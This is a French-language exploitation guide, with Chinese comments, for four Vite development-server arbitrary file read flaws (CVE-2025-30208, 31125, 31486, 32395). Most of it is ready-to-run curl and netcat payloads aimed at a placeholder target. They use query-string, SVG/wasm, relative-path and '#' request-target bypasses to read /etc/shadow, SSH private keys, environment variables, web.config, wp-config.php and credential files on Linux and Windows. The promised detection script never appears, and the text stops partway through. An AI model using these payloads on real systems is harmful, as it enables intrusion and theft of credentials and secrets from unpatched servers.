
Guide d'exploitation et script de détection automatisé pour quatre vulnérabilités de lecture arbitraire de fichiers du serveur de développement Vite (CVE-2025-30208/31125/31486/32395) avec des exemples sous Linux et Windows.
Ce document résume les méthodes d'exploitation de quatre vulnérabilités de lecture arbitraire de fichiers dans le serveur de développement Vite, avec des exemples pour Linux et Windows. Attention : à utiliser uniquement dans un environnement de test de sécurité autorisé.
Ces quatre vulnérabilités dans le serveur de développement Vite permettent toutes à un attaquant de contourner la restriction server.fs.deny et de lire des fichiers arbitraires sur le serveur. Chaque vulnérabilité utilise une technique de contournement différente, mais le principe de base est similaire.
Les quatre vulnérabilités nécessitent toutes les conditions suivantes pour être exploitées :
--host ou l'option de configuration server.host)Versions affectées : < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Versions corrigées : 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10
Principe d'exploitation : en ajoutant les paramètres de requête ?raw?? ou ?import&raw?? dans l'URL, on contourne la restriction de chemin @fs. Cela est dû au fait que le séparateur final (comme ?) est supprimé à plusieurs endroits, mais n'est pas pris en compte dans l'expression régulière de la chaîne de requête.
Exemple d'exploitation sous Linux :```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞
**Exemple d'exploitation sous Windows**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??" # 如果返回文件内容,则存在漏洞
Versions affectées : identiques à CVE-2025-30208
Versions corrigées : identiques à CVE-2025-30208
Principe d'exploitation : en utilisant des méthodes d'importation spécifiques, comme ?inline&import ou ?raw?import, pour contourner la configuration server.fs.deny.
Exemple d'exploitation sur Linux :```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞
**Exemple d'exploitation Windows** :```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import" # 如果返回文件内容,则存在漏洞
Versions affectées : < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12
Versions corrigées : 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12
Principe d'exploitation :
?.svg?.wasm?init ou en utilisant l'en-tête sec-fetch-dest: script, contourner les vérifications de restriction sur les fichiers .svg../../) pour contourner les restrictionsExemple d'exploitation sur système Linux :```bash
curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"
curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
**Exemple d'exploitation sous Windows** :```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"
# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini" # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
Remarque: Le contournement SVG n'est efficace que si le fichier est inférieur à build.assetsInlineLimit (4 Ko par défaut) et que Vite 6.0+ est utilisé.
Versions affectées: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13
Versions corrigées: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13
Principe d'exploitation: Exploite le fait que la spécification HTTP 1.1 interdit l'utilisation du caractère # dans request-target. Dans les runtimes Node et Bun, ces requêtes ne sont pas rejetées en interne, http.IncomingMessage.url contient #, et Vite suppose que req.url ne contient pas # lors de la vérification de server.fs.deny.
Exemple d'exploitation sur système Linux :```bash
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173